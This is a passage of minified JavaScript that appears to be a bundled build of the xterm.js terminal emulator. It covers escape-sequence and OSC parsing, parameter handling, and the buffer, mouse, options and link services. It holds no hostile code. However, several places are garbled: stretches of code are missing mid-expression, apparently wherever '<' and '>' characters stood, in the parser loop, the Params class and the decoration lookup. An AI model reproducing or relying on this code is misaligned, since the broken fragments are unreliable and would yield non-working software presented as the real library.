s=e.final.charCodeAt(0);if(t[0]>s||s>t[1])throw new Error(`final must be in range ${t[0]} .. ${t[1]}`);return i<<=8,i|=s,i}identToString(e){const t=[];for(;e;)t.push(String.fromCharCode(255&e)),e>>=8;return t.reverse().join("")}setPrintHandler(e){this._printHandler=e}clearPrintHandler(){this._printHandler=this._printHandlerFb}registerEscHandler(e,t){const i=this._identifier(e,[48,126]);void 0===this._escHandlers[i]&&(this._escHandlers[i]=[]);const s=this._escHandlers[i];return s.push(t),{dispose:()=>{const e=s.indexOf(t);-1!==e&&s.splice(e,1)}}}clearEscHandler(e){this._escHandlers[this._identifier(e,[48,126])]&&delete this._escHandlers[this._identifier(e,[48,126])]}setEscHandlerFallback(e){this._escHandlerFb=e}setExecuteHandler(e,t){this._executeHandlers[e.charCodeAt(0)]=t}clearExecuteHandler(e){this._executeHandlers[e.charCodeAt(0)]&&delete this._executeHandlers[e.charCodeAt(0)]}setExecuteHandlerFallback(e){this._executeHandlerFb=e}registerCsiHandler(e,t){const i=this._identifier(e);void 0===this._csiHandlers[i]&&(this._csiHandlers[i]=[]);const s=this._csiHandlers[i];return s.push(t),{dispose:()=>{const e=s.indexOf(t);-1!==e&&s.splice(e,1)}}}clearCsiHandler(e){this._csiHandlers[this._identifier(e)]&&delete this._csiHandlers[this._identifier(e)]}setCsiHandlerFallback(e){this._csiHandlerFb=e}registerDcsHandler(e,t){return this._dcsParser.registerHandler(this._identifier(e),t)}clearDcsHandler(e){this._dcsParser.clearHandler(this._identifier(e))}setDcsHandlerFallback(e){this._dcsParser.setHandlerFallback(e)}registerOscHandler(e,t){return this._oscParser.registerHandler(e,t)}clearOscHandler(e){this._oscParser.clearHandler(e)}setOscHandlerFallback(e){this._oscParser.setHandlerFallback(e)}setErrorHandler(e){this._errorHandler=e}clearErrorHandler(){this._errorHandler=this._errorHandlerFb}reset(){this.currentState=this.initialState,this._oscParser.reset(),this._dcsParser.reset(),this._params.reset(),this._params.addParam(0),this._collect=0,this.precedingCodepoint=0,0!==this._parseStack.state&&(this._parseStack.state=2,this._parseStack.handlers=[])}_preserveStack(e,t,i,s,r){this._parseStack.state=e,this._parseStack.handlers=t,this._parseStack.handlerPos=i,this._parseStack.transition=s,this._parseStack.chunkPos=r}parse(e,t,i){let s,r=0,n=0,o=0;if(this._parseStack.state)if(2===this._parseStack.state)this._parseStack.state=0,o=this._parseStack.chunkPos+1;else{if(void 0===i||1===this._parseStack.state)throw this._parseStack.state=1,new Error("improper continuation due to previous async handler, giving up parsing");const t=this._parseStack.handlers;let n=this._parseStack.handlerPos-1;switch(this._parseStack.state){case 3:if(!1===i&&n>-1)for(;n>=0&&(s=t[n](this._params),!0!==s);n--)if(s instanceof Promise)return this._parseStack.handlerPos=n,s;this._parseStack.handlers=[];break;case 4:if(!1===i&&n>-1)for(;n>=0&&(s=t[n](),!0!==s);n--)if(s instanceof Promise)return this._parseStack.handlerPos=n,s;this._parseStack.handlers=[];break;case 6:if(r=e[this._parseStack.chunkPos],s=this._dcsParser.unhook(24!==r&&26!==r,i),s)return s;27===r&&(this._parseStack.transition|=1),this._params.reset(),this._params.addParam(0),this._collect=0;break;case 5:if(r=e[this._parseStack.chunkPos],s=this._oscParser.end(24!==r&&26!==r,i),s)return s;27===r&&(this._parseStack.transition|=1),this._params.reset(),this._params.addParam(0),this._collect=0}this._parseStack.state=0,o=this._parseStack.chunkPos+1,this.precedingCodepoint=0,this.currentState=15&this._parseStack.transition}for(let i=o;i>4){case 2:for(let s=i+1;;++s){if(s>=t||(r=e[s])<32||r>126&&r=t||(r=e[s])<32||r>126&&r=t||(r=e[s])<32||r>126&&r=t||(r=e[s])<32||r>126&&r=0&&(s=o[a](this._params),!0!==s);a--)if(s instanceof Promise)return this._preserveStack(3,o,a,n,i),s;a<0&&this._csiHandlerFb(this._collect<<8|r,this._params),this.precedingCodepoint=0;break;case 8:do{switch(r){case 59:this._params.addParam(0);break;case 58:this._params.addSubParam(-1);break;default:this._params.addDigit(r-48)}}while(++i47&&r<60);i--;break;case 9:this._collect<<=8,this._collect|=r;break;case 10:const c=this._escHandlers[this._collect<<8|r];let l=c?c.length-1:-1;for(;l>=0&&(s=c[l](),!0!==s);l--)if(s instanceof Promise)return this._preserveStack(4,c,l,n,i),s;l<0&&this._escHandlerFb(this._collect<<8|r),this.precedingCodepoint=0;break;case 11:this._params.reset(),this._params.addParam(0),this._collect=0;break;case 12:this._dcsParser.hook(this._collect<<8|r,this._params);break;case 13:for(let s=i+1;;++s)if(s>=t||24===(r=e[s])||26===r||27===r||r>127&&r=t||(r=e[s])<32||r>127&&r{Object.defineProperty(t,"__esModule",{value:!0}),t.OscHandler=t.OscParser=void 0;const s=i(5770),r=i(482),n=[];t.OscParser=class{constructor(){this._state=0,this._active=n,this._id=-1,this._handlers=Object.create(null),this._handlerFb=()=>{},this._stack={paused:!1,loopPosition:0,fallThrough:!1}}registerHandler(e,t){void 0===this._handlers[e]&&(this._handlers[e]=[]);const i=this._handlers[e];return i.push(t),{dispose:()=>{const e=i.indexOf(t);-1!==e&&i.splice(e,1)}}}clearHandler(e){this._handlers[e]&&delete this._handlers[e]}setHandlerFallback(e){this._handlerFb=e}dispose(){this._handlers=Object.create(null),this._handlerFb=()=>{},this._active=n}reset(){if(2===this._state)for(let e=this._stack.paused?this._stack.loopPosition-1:this._active.length-1;e>=0;--e)this._active[e].end(!1);this._stack.paused=!1,this._active=n,this._id=-1,this._state=0}_start(){if(this._active=this._handlers[this._id]||n,this._active.length)for(let e=this._active.length-1;e>=0;e--)this._active[e].start();else this._handlerFb(this._id,"START")}_put(e,t,i){if(this._active.length)for(let s=this._active.length-1;s>=0;s--)this._active[s].put(e,t,i);else this._handlerFb(this._id,"PUT",(0,r.utf32ToString)(e,t,i))}start(){this.reset(),this._state=1}put(e,t,i){if(3!==this._state){if(1===this._state)for(;t0&&this._put(e,t,i)}}end(e,t=!0){if(0!==this._state){if(3!==this._state)if(1===this._state&&this._start(),this._active.length){let i=!1,s=this._active.length-1,r=!1;if(this._stack.paused&&(s=this._stack.loopPosition-1,i=t,r=this._stack.fallThrough,this._stack.paused=!1),!r&&!1===i){for(;s>=0&&(i=this._active[s].end(e),!0!==i);s--)if(i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!1,i;s--}for(;s>=0;s--)if(i=this._active[s].end(!1),i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!0,i}else this._handlerFb(this._id,"END",e);this._active=n,this._id=-1,this._state=0}}},t.OscHandler=class{constructor(e){this._handler=e,this._data="",this._hitLimit=!1}start(){this._data="",this._hitLimit=!1}put(e,t,i){this._hitLimit||(this._data+=(0,r.utf32ToString)(e,t,i),this._data.length>s.PAYLOAD_LIMIT&&(this._data="",this._hitLimit=!0))}end(e){let t=!1;if(this._hitLimit)t=!1;else if(e&&(t=this._handler(this._data),t instanceof Promise))return t.then((e=>(this._data="",this._hitLimit=!1,e)));return this._data="",this._hitLimit=!1,t}}},8742:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Params=void 0;const i=2147483647;class s{static fromArray(e){const t=new s;if(!e.length)return t;for(let i=Array.isArray(e[0])?1:0;i256)throw new Error("maxSubParamsLength must not be greater than 256");this.params=new Int32Array(e),this.length=0,this._subParams=new Int32Array(t),this._subParamsLength=0,this._subParamsIdx=new Uint16Array(e),this._rejectDigits=!1,this._rejectSubDigits=!1,this._digitIsSub=!1}clone(){const e=new s(this.maxLength,this.maxSubParamsLength);return e.params.set(this.params),e.length=this.length,e._subParams.set(this._subParams),e._subParamsLength=this._subParamsLength,e._subParamsIdx.set(this._subParamsIdx),e._rejectDigits=this._rejectDigits,e._rejectSubDigits=this._rejectSubDigits,e._digitIsSub=this._digitIsSub,e}toArray(){const e=[];for(let t=0;t>8,s=255&this._subParamsIdx[t];s-i>0&&e.push(Array.prototype.slice.call(this._subParams,i,s))}return e}reset(){this.length=0,this._subParamsLength=0,this._rejectDigits=!1,this._rejectSubDigits=!1,this._digitIsSub=!1}addParam(e){if(this._digitIsSub=!1,this.length>=this.maxLength)this._rejectDigits=!0;else{if(e<-1)throw new Error("values lesser than -1 are not allowed");this._subParamsIdx[this.length]=this._subParamsLength<<8|this._subParamsLength,this.params[this.length++]=e>i?i:e}}addSubParam(e){if(this._digitIsSub=!0,this.length)if(this._rejectDigits||this._subParamsLength>=this.maxSubParamsLength)this._rejectSubDigits=!0;else{if(e<-1)throw new Error("values lesser than -1 are not allowed");this._subParams[this._subParamsLength++]=e>i?i:e,this._subParamsIdx[this.length-1]++}}hasSubParams(e){return(255&this._subParamsIdx[e])-(this._subParamsIdx[e]>>8)>0}getSubParams(e){const t=this._subParamsIdx[e]>>8,i=255&this._subParamsIdx[e];return i-t>0?this._subParams.subarray(t,i):null}getSubParamsAll(){const e={};for(let t=0;t>8,s=255&this._subParamsIdx[t];s-i>0&&(e[t]=this._subParams.slice(i,s))}return e}addDigit(e){let t;if(this._rejectDigits||!(t=this._digitIsSub?this._subParamsLength:this.length)||this._digitIsSub&&this._rejectSubDigits)return;const s=this._digitIsSub?this._subParams:this.params,r=s[t-1];s[t-1]=~r?Math.min(10*r+e,i):e}}t.Params=s},5741:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.AddonManager=void 0,t.AddonManager=class{constructor(){this._addons=[]}dispose(){for(let e=this._addons.length-1;e>=0;e--)this._addons[e].instance.dispose()}loadAddon(e,t){const i={instance:t,dispose:t.dispose,isDisposed:!1};this._addons.push(i),t.dispose=()=>this._wrappedAddonDispose(i),t.activate(e)}_wrappedAddonDispose(e){if(e.isDisposed)return;let t=-1;for(let i=0;i{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferApiView=void 0;const s=i(3785),r=i(511);t.BufferApiView=class{constructor(e,t){this._buffer=e,this.type=t}init(e){return this._buffer=e,this}get cursorY(){return this._buffer.y}get cursorX(){return this._buffer.x}get viewportY(){return this._buffer.ydisp}get baseY(){return this._buffer.ybase}get length(){return this._buffer.lines.length}getLine(e){const t=this._buffer.lines.get(e);if(t)return new s.BufferLineApiView(t)}getNullCell(){return new r.CellData}}},3785:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferLineApiView=void 0;const s=i(511);t.BufferLineApiView=class{constructor(e){this._line=e}get isWrapped(){return this._line.isWrapped}get length(){return this._line.length}getCell(e,t){if(!(e<0||e>=this._line.length))return t?(this._line.loadCell(e,t),t):this._line.loadCell(e,new s.CellData)}translateToString(e,t,i){return this._line.translateToString(e,t,i)}}},8285:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.BufferNamespaceApi=void 0;const s=i(8771),r=i(8460),n=i(844);class o extends n.Disposable{constructor(e){super(),this._core=e,this._onBufferChange=this.register(new r.EventEmitter),this.onBufferChange=this._onBufferChange.event,this._normal=new s.BufferApiView(this._core.buffers.normal,"normal"),this._alternate=new s.BufferApiView(this._core.buffers.alt,"alternate"),this._core.buffers.onBufferActivate((()=>this._onBufferChange.fire(this.active)))}get active(){if(this._core.buffers.active===this._core.buffers.normal)return this.normal;if(this._core.buffers.active===this._core.buffers.alt)return this.alternate;throw new Error("Active buffer is neither normal nor alternate")}get normal(){return this._normal.init(this._core.buffers.normal)}get alternate(){return this._alternate.init(this._core.buffers.alt)}}t.BufferNamespaceApi=o},7975:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ParserApi=void 0,t.ParserApi=class{constructor(e){this._core=e}registerCsiHandler(e,t){return this._core.registerCsiHandler(e,(e=>t(e.toArray())))}addCsiHandler(e,t){return this.registerCsiHandler(e,t)}registerDcsHandler(e,t){return this._core.registerDcsHandler(e,((e,i)=>t(e,i.toArray())))}addDcsHandler(e,t){return this.registerDcsHandler(e,t)}registerEscHandler(e,t){return this._core.registerEscHandler(e,t)}addEscHandler(e,t){return this.registerEscHandler(e,t)}registerOscHandler(e,t){return this._core.registerOscHandler(e,t)}addOscHandler(e,t){return this.registerOscHandler(e,t)}}},7090:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.UnicodeApi=void 0,t.UnicodeApi=class{constructor(e){this._core=e}register(e){this._core.unicodeService.register(e)}get versions(){return this._core.unicodeService.versions}get activeVersion(){return this._core.unicodeService.activeVersion}set activeVersion(e){this._core.unicodeService.activeVersion=e}}},744:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.BufferService=t.MINIMUM_ROWS=t.MINIMUM_COLS=void 0;const n=i(8460),o=i(844),a=i(5295),h=i(2585);t.MINIMUM_COLS=2,t.MINIMUM_ROWS=1;let c=t.BufferService=class extends o.Disposable{get buffer(){return this.buffers.active}constructor(e){super(),this.isUserScrolling=!1,this._onResize=this.register(new n.EventEmitter),this.onResize=this._onResize.event,this._onScroll=this.register(new n.EventEmitter),this.onScroll=this._onScroll.event,this.cols=Math.max(e.rawOptions.cols||0,t.MINIMUM_COLS),this.rows=Math.max(e.rawOptions.rows||0,t.MINIMUM_ROWS),this.buffers=this.register(new a.BufferSet(e,this))}resize(e,t){this.cols=e,this.rows=t,this.buffers.resize(e,t),this._onResize.fire({cols:e,rows:t})}reset(){this.buffers.reset(),this.isUserScrolling=!1}scroll(e,t=!1){const i=this.buffer;let s;s=this._cachedBlankLine,s&&s.length===this.cols&&s.getFg(0)===e.fg&&s.getBg(0)===e.bg||(s=i.getBlankLine(e,t),this._cachedBlankLine=s),s.isWrapped=t;const r=i.ybase+i.scrollTop,n=i.ybase+i.scrollBottom;if(0===i.scrollTop){const e=i.lines.isFull;n===i.lines.length-1?e?i.lines.recycle().copyFrom(s):i.lines.push(s.clone()):i.lines.splice(n+1,0,s.clone()),e?this.isUserScrolling&&(i.ydisp=Math.max(i.ydisp-1,0)):(i.ybase++,this.isUserScrolling||i.ydisp++)}else{const e=n-r+1;i.lines.shiftElements(r+1,e-1,-1),i.lines.set(n,s.clone())}this.isUserScrolling||(i.ydisp=i.ybase),this._onScroll.fire(i.ydisp)}scrollLines(e,t,i){const s=this.buffer;if(e<0){if(0===s.ydisp)return;this.isUserScrolling=!0}else e+s.ydisp>=s.ybase&&(this.isUserScrolling=!1);const r=s.ydisp;s.ydisp=Math.max(Math.min(s.ydisp+e,s.ybase),0),r!==s.ydisp&&(t||this._onScroll.fire(s.ydisp))}};t.BufferService=c=s([r(0,h.IOptionsService)],c)},7994:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CharsetService=void 0,t.CharsetService=class{constructor(){this.glevel=0,this._charsets=[]}reset(){this.charset=void 0,this._charsets=[],this.glevel=0}setgLevel(e){this.glevel=e,this.charset=this._charsets[e]}setgCharset(e,t){this._charsets[e]=t,this.glevel===e&&(this.charset=t)}}},1753:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CoreMouseService=void 0;const n=i(2585),o=i(8460),a=i(844),h={NONE:{events:0,restrict:()=>!1},X10:{events:1,restrict:e=>4!==e.button&&1===e.action&&(e.ctrl=!1,e.alt=!1,e.shift=!1,!0)},VT200:{events:19,restrict:e=>32!==e.action},DRAG:{events:23,restrict:e=>32!==e.action||3!==e.button},ANY:{events:31,restrict:e=>!0}};function c(e,t){let i=(e.ctrl?16:0)|(e.shift?4:0)|(e.alt?8:0);return 4===e.button?(i|=64,i|=e.action):(i|=3&e.button,4&e.button&&(i|=64),8&e.button&&(i|=128),32===e.action?i|=32:0!==e.action||t||(i|=3)),i}const l=String.fromCharCode,d={DEFAULT:e=>{const t=[c(e,!1)+32,e.col+32,e.row+32];return t[0]>255||t[1]>255||t[2]>255?"":`${l(t[0])}${l(t[1])}${l(t[2])}`},SGR:e=>{const t=0===e.action&&4!==e.button?"m":"M";return`[<${c(e,!0)};${e.col};${e.row}${t}`},SGR_PIXELS:e=>{const t=0===e.action&&4!==e.button?"m":"M";return`[<${c(e,!0)};${e.x};${e.y}${t}`}};let _=t.CoreMouseService=class extends a.Disposable{constructor(e,t){super(),this._bufferService=e,this._coreService=t,this._protocols={},this._encodings={},this._activeProtocol="",this._activeEncoding="",this._lastEvent=null,this._onProtocolChange=this.register(new o.EventEmitter),this.onProtocolChange=this._onProtocolChange.event;for(const e of Object.keys(h))this.addProtocol(e,h[e]);for(const e of Object.keys(d))this.addEncoding(e,d[e]);this.reset()}addProtocol(e,t){this._protocols[e]=t}addEncoding(e,t){this._encodings[e]=t}get activeProtocol(){return this._activeProtocol}get areMouseEventsActive(){return 0!==this._protocols[this._activeProtocol].events}set activeProtocol(e){if(!this._protocols[e])throw new Error(`unknown protocol "${e}"`);this._activeProtocol=e,this._onProtocolChange.fire(this._protocols[e].events)}get activeEncoding(){return this._activeEncoding}set activeEncoding(e){if(!this._encodings[e])throw new Error(`unknown encoding "${e}"`);this._activeEncoding=e}reset(){this.activeProtocol="NONE",this.activeEncoding="DEFAULT",this._lastEvent=null}triggerMouseEvent(e){if(e.col<0||e.col>=this._bufferService.cols||e.row<0||e.row>=this._bufferService.rows)return!1;if(4===e.button&&32===e.action)return!1;if(3===e.button&&32!==e.action)return!1;if(4!==e.button&&(2===e.action||3===e.action))return!1;if(e.col++,e.row++,32===e.action&&this._lastEvent&&this._equalEvents(this._lastEvent,e,"SGR_PIXELS"===this._activeEncoding))return!1;if(!this._protocols[this._activeProtocol].restrict(e))return!1;const t=this._encodings[this._activeEncoding](e);return t&&("DEFAULT"===this._activeEncoding?this._coreService.triggerBinaryEvent(t):this._coreService.triggerDataEvent(t,!0)),this._lastEvent=e,!0}explainEvents(e){return{down:!!(1&e),up:!!(2&e),drag:!!(4&e),move:!!(8&e),wheel:!!(16&e)}}_equalEvents(e,t,i){if(i){if(e.x!==t.x)return!1;if(e.y!==t.y)return!1}else{if(e.col!==t.col)return!1;if(e.row!==t.row)return!1}return e.button===t.button&&e.action===t.action&&e.ctrl===t.ctrl&&e.alt===t.alt&&e.shift===t.shift}};t.CoreMouseService=_=s([r(0,n.IBufferService),r(1,n.ICoreService)],_)},6975:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CoreService=void 0;const n=i(1439),o=i(8460),a=i(844),h=i(2585),c=Object.freeze({insertMode:!1}),l=Object.freeze({applicationCursorKeys:!1,applicationKeypad:!1,bracketedPasteMode:!1,origin:!1,reverseWraparound:!1,sendFocus:!1,wraparound:!0});let d=t.CoreService=class extends a.Disposable{constructor(e,t,i){super(),this._bufferService=e,this._logService=t,this._optionsService=i,this.isCursorInitialized=!1,this.isCursorHidden=!1,this._onData=this.register(new o.EventEmitter),this.onData=this._onData.event,this._onUserInput=this.register(new o.EventEmitter),this.onUserInput=this._onUserInput.event,this._onBinary=this.register(new o.EventEmitter),this.onBinary=this._onBinary.event,this._onRequestScrollToBottom=this.register(new o.EventEmitter),this.onRequestScrollToBottom=this._onRequestScrollToBottom.event,this.modes=(0,n.clone)(c),this.decPrivateModes=(0,n.clone)(l)}reset(){this.modes=(0,n.clone)(c),this.decPrivateModes=(0,n.clone)(l)}triggerDataEvent(e,t=!1){if(this._optionsService.rawOptions.disableStdin)return;const i=this._bufferService.buffer;t&&this._optionsService.rawOptions.scrollOnUserInput&&i.ybase!==i.ydisp&&this._onRequestScrollToBottom.fire(),t&&this._onUserInput.fire(),this._logService.debug(`sending data "${e}"`,(()=>e.split("").map((e=>e.charCodeAt(0))))),this._onData.fire(e)}triggerBinaryEvent(e){this._optionsService.rawOptions.disableStdin||(this._logService.debug(`sending binary "${e}"`,(()=>e.split("").map((e=>e.charCodeAt(0))))),this._onBinary.fire(e))}};t.CoreService=d=s([r(0,h.IBufferService),r(1,h.ILogService),r(2,h.IOptionsService)],d)},9074:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DecorationService=void 0;const s=i(8055),r=i(8460),n=i(844),o=i(6106);let a=0,h=0;class c extends n.Disposable{get decorations(){return this._decorations.values()}constructor(){super(),this._decorations=new o.SortedList((e=>null==e?void 0:e.marker.line)),this._onDecorationRegistered=this.register(new r.EventEmitter),this.onDecorationRegistered=this._onDecorationRegistered.event,this._onDecorationRemoved=this.register(new r.EventEmitter),this.onDecorationRemoved=this._onDecorationRemoved.event,this.register((0,n.toDisposable)((()=>this.reset())))}registerDecoration(e){if(e.marker.isDisposed)return;const t=new l(e);if(t){const e=t.marker.onDispose((()=>t.dispose()));t.onDispose((()=>{t&&(this._decorations.delete(t)&&this._onDecorationRemoved.fire(t),e.dispose())})),this._decorations.insert(t),this._onDecorationRegistered.fire(t)}return t}reset(){for(const e of this._decorations.values())e.dispose();this._decorations.clear()}*getDecorationsAtCell(e,t,i){var s,r,n;let o=0,a=0;for(const h of this._decorations.getKeyIterator(t))o=null!==(s=h.options.x)&&void 0!==s?s:0,a=o+(null!==(r=h.options.width)&&void 0!==r?r:1),e>=o&&e{var r,n,o;a=null!==(r=t.options.x)&&void 0!==r?r:0,h=a+(null!==(n=t.options.width)&&void 0!==n?n:1),e>=a&&e{Object.defineProperty(t,"__esModule",{value:!0}),t.InstantiationService=t.ServiceCollection=void 0;const s=i(2585),r=i(8343);class n{constructor(...e){this._entries=new Map;for(const[t,i]of e)this.set(t,i)}set(e,t){const i=this._entries.get(e);return this._entries.set(e,t),i}forEach(e){for(const[t,i]of this._entries.entries())e(t,i)}has(e){return this._entries.has(e)}get(e){return this._entries.get(e)}}t.ServiceCollection=n,t.InstantiationService=class{constructor(){this._services=new n,this._services.set(s.IInstantiationService,this)}setService(e,t){this._services.set(e,t)}getService(e){return this._services.get(e)}createInstance(e,...t){const i=(0,r.getServiceDependencies)(e).sort(((e,t)=>e.index-t.index)),s=[];for(const t of i){const i=this._services.get(t.id);if(!i)throw new Error(`[createInstance] ${e.name} depends on UNKNOWN service ${t.id}.`);s.push(i)}const n=i.length>0?i[0].index:t.length;if(t.length!==n)throw new Error(`[createInstance] First service dependency of ${e.name} at position ${n+1} conflicts with ${t.length} static arguments`);return new e(...[...t,...s])}}},7866:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.traceCall=t.setTraceLogger=t.LogService=void 0;const n=i(844),o=i(2585),a={trace:o.LogLevelEnum.TRACE,debug:o.LogLevelEnum.DEBUG,info:o.LogLevelEnum.INFO,warn:o.LogLevelEnum.WARN,error:o.LogLevelEnum.ERROR,off:o.LogLevelEnum.OFF};let h,c=t.LogService=class extends n.Disposable{get logLevel(){return this._logLevel}constructor(e){super(),this._optionsService=e,this._logLevel=o.LogLevelEnum.OFF,this._updateLogLevel(),this.register(this._optionsService.onSpecificOptionChange("logLevel",(()=>this._updateLogLevel()))),h=this}_updateLogLevel(){this._logLevel=a[this._optionsService.rawOptions.logLevel]}_evalLazyOptionalParams(e){for(let t=0;tJSON.stringify(e))).join(", ")})`);const t=s.apply(this,e);return h.trace(`GlyphRenderer#${s.name} return`,t),t}}},7302:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.OptionsService=t.DEFAULT_OPTIONS=void 0;const s=i(8460),r=i(844),n=i(6114);t.DEFAULT_OPTIONS={cols:80,rows:24,cursorBlink:!1,cursorStyle:"block",cursorWidth:1,cursorInactiveStyle:"outline",customGlyphs:!0,drawBoldTextInBrightColors:!0,fastScrollModifier:"alt",fastScrollSensitivity:5,fontFamily:"courier-new, courier, monospace",fontSize:15,fontWeight:"normal",fontWeightBold:"bold",ignoreBracketedPasteMode:!1,lineHeight:1,letterSpacing:0,linkHandler:null,logLevel:"info",logger:null,scrollback:1e3,scrollOnUserInput:!0,scrollSensitivity:1,screenReaderMode:!1,smoothScrollDuration:0,macOptionIsMeta:!1,macOptionClickForcesSelection:!1,minimumContrastRatio:1,disableStdin:!1,allowProposedApi:!1,allowTransparency:!1,tabStopWidth:8,theme:{},rightClickSelectsWord:n.isMac,windowOptions:{},windowsMode:!1,windowsPty:{},wordSeparator:" ()[]{}',\"`",altClickMovesCursor:!0,convertEol:!1,termName:"xterm",cancelEvents:!1,overviewRulerWidth:0};const o=["normal","bold","100","200","300","400","500","600","700","800","900"];class a extends r.Disposable{constructor(e){super(),this._onOptionChange=this.register(new s.EventEmitter),this.onOptionChange=this._onOptionChange.event;const i=Object.assign({},t.DEFAULT_OPTIONS);for(const t in e)if(t in i)try{const s=e[t];i[t]=this._sanitizeAndValidateOption(t,s)}catch(e){console.error(e)}this.rawOptions=i,this.options=Object.assign({},i),this._setupOptions()}onSpecificOptionChange(e,t){return this.onOptionChange((i=>{i===e&&t(this.rawOptions[e])}))}onMultipleOptionChange(e,t){return this.onOptionChange((i=>{-1!==e.indexOf(i)&&t()}))}_setupOptions(){const e=e=>{if(!(e in t.DEFAULT_OPTIONS))throw new Error(`No option with key "${e}"`);return this.rawOptions[e]},i=(e,i)=>{if(!(e in t.DEFAULT_OPTIONS))throw new Error(`No option with key "${e}"`);i=this._sanitizeAndValidateOption(e,i),this.rawOptions[e]!==i&&(this.rawOptions[e]=i,this._onOptionChange.fire(e))};for(const t in this.rawOptions){const s={get:e.bind(this,t),set:i.bind(this,t)};Object.defineProperty(this.options,t,s)}}_sanitizeAndValidateOption(e,i){switch(e){case"cursorStyle":if(i||(i=t.DEFAULT_OPTIONS[e]),!function(e){return"block"===e||"underline"===e||"bar"===e}(i))throw new Error(`"${i}" is not a valid value for ${e}`);break;case"wordSeparator":i||(i=t.DEFAULT_OPTIONS[e]);break;case"fontWeight":case"fontWeightBold":if("number"==typeof i&&1<=i&&i<=1e3)break;i=o.includes(i)?i:t.DEFAULT_OPTIONS[e];break;case"cursorWidth":i=Math.floor(i);case"lineHeight":case"tabStopWidth":if(i<1)throw new Error(`${e} cannot be less than 1, value: ${i}`);break;case"minimumContrastRatio":i=Math.max(1,Math.min(21,Math.round(10*i)/10));break;case"scrollback":if((i=Math.min(i,4294967295))<0)throw new Error(`${e} cannot be less than 0, value: ${i}`);break;case"fastScrollSensitivity":case"scrollSensitivity":if(i<=0)throw new Error(`${e} cannot be less than or equal to 0, value: ${i}`);break;case"rows":case"cols":if(!i&&0!==i)throw new Error(`${e} must be numeric, value: ${i}`);break;case"windowsPty":i=null!=i?i:{}}return i}}t.OptionsService=a},2660:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.OscLinkService=void 0;const n=i(2585);let o=t.OscLinkService=class{constructor(e){this._bufferService=e,this._nextId=1,this._entriesWithId=new Map,this._dataByLinkId=new Map}registerLink(e){const t=this._bufferService.buffer;if(void 0===e.id){const i=t.addMarker(t.ybase+t.y),s={data:e,id:this._nextId++,lines:[i]};return i.onDispose((()=>this._removeMarkerFromLink(s,i))),this._dataByLinkId.set(s.id,s),s.id}const i=e,s=this._getEntryIdKey(i),r=this._entriesWithId.get(s);if(r)return this.addLineToLink(r.id,t.ybase+t.y),r.id;const n=t.addMarker(t.ybase+t.y),o={id:this._nextId++,key:this._getEntryIdKey(i),data:i,lines:[n]};return n.onDispose((()=>this._removeMarkerFromLink(o,n))),this._entriesWithId.set(o.key,o),this._dataByLinkId.set(o.id,o),o.id}addLineToLink(e,t){const i=this._dataByLinkId.get(e);if(i&&i.lines.every((e=>e.line!==t))){const e=this._bufferService.buffer.addMarker(t);i.lines.push(e),e.onDispose((()=>this._removeMarkerFromLink(i,e)))}}getLinkData(e){var t;return null===(t=this._dataByLinkId.get(e))||void 0===t?void 0:t.data}_getEntryIdKey(e){return`${e.id};;${e.uri}`}_removeMarkerFromLink(e,t){const 